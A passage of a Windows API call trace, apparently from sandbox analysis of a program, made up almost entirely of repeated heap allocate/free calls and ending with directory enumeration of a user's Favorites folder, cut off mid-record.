Flags=0x0, Size=0x70) returned 0x3082828 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.846] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.846] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.847] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.847] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.848] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.848] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.849] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.849] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.850] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.850] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.851] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.851] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.851] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.851] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.851] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.851] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.851] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.851] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.851] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.851] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.851] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.851] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.851] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.852] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.852] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.852] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.852] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.852] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.852] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.852] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.852] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.852] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.852] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.852] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.852] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.852] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.853] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.853] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0270.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0270.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.854] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0270.854] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0270.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.855] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.855] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0270.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.855] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.855] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.855] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.855] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0270.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0270.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.855] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082828 [0270.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0270.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0270.855] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0270.855] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0270.855] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0270.855] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0270.855] PathFindFileNameW (pszPath="") returned="" [0270.856] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0270.857] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082828 | out: hHeap=0x640000) returned 1 [0270.857] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0270.857] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, 